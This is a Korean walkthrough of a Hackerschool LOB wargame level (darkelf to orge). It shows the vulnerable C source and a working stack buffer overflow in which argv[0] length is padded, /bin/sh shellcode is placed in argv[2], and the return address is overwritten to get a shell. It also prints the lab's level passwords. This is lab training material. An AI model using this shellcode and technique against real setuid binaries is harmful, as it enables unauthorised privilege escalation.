해커스쿨 LOB LEVEL7 [darkelf -> orge] 풀이
M4ndU
해커스쿨 LOB [darkelf -> orge] 풀이입니다.
ID | darkelf
PW | kernel crashed
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
그리고
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
를 이용해 소스코드를 확인합시다.
login: darkelf
Password:
[darkelf@localhost darkelf]$ bash2
[darkelf@localhost darkelf]$ ls -l
total 20
-rwsr-sr-x 1 orge orge 12700 Mar 1 2010 orge
-rw-r--r-- 1 root root 800 Mar 29 2010 orge.c
[darkelf@localhost darkelf]$ cat orge.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
이전 문제에서 바뀐 내용은 argv[0]의 길이가 77이어야 하는거네요.
argv[0]은 ./orge AA BB 에서 ./orge가 해당됩니다.
argv[0]의 길이가 77이 되도록 하려면 "./"를 제외하고 파일이름이 75바이트면 되겠네요.
파일이름을 바꿔줍시다.
[darkelf@localhost darkelf]$ rename orge `python -c 'print "A"*75'` orge
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
orge.c
그럼 이제 분석을 위해 파일을 복사해주고, argv[2]에 쉘코드를 넣고 위치를 확인해 봅시다.
argv[1] = 'print "D"*44+RET'`
argv[2] = 'python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[darkelf@localhost darkelf]$ mkdir tmp
[darkelf@localhost darkelf]$ cp AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA tmp/
[darkelf@localhost darkelf]$ cd tmp/
[darkelf@localhost tmp]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xff\xff\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?
Segmentation fault (core dumped)
[darkelf@localhost tmp]$ gdb -c core -q
Core was generated by `./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA D'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfffffff in ?? ()
(gdb) x/1000x $esp
0xbffff9d0: 0x00000000 0xbffffa14 0xbffffa24 0x40013868
0xbffff9e0: 0x00000003 0x08048450 0x00000000 0x08048471
(생략)
0xbffffb10: 0x00000000 0x00000000 0x00000000 0x38366900
0xbffffb20: 0x2f2e0036 0x41414141 0x41414141 0x41414141
0xbffffb30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb50: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb60: 0x41414141 0x41414141 0x41414141 0x00414141
0xbffffb70: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffb80: 0x44444444 0x44444444 0x44444444 0x44444444
0xbffffb90: 0x44444444 0x44444444 0x44444444 0xbfffffff
0xbffffba0: 0x90909000 0x90909090 0x90909090 0x90909090
0xbffffbb0: 0x90909090 0x50c03190 0x732f2f68 0x622f6868
0xbffffbc0: 0xe3896e69 0xe1895350 0x0bb0c289 0x000080cd
argv[0], argv[1], argv[2] 를 모두 확인할 수 있네요.
쉘코드가 있는 0xbffffbb0를 리턴주소로 하겠습니다.
[darkelf@localhost darkelf]$ ./`python -c 'print "A"*75+" "+"D"*44+"\xb0\xfb\xff\xbf"+" "+"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD곽?
bash$ my-pass
euid = 507
timewalker
성공입니다. 다음레벨로 GA즈AAAAAAAAAAAAAAAA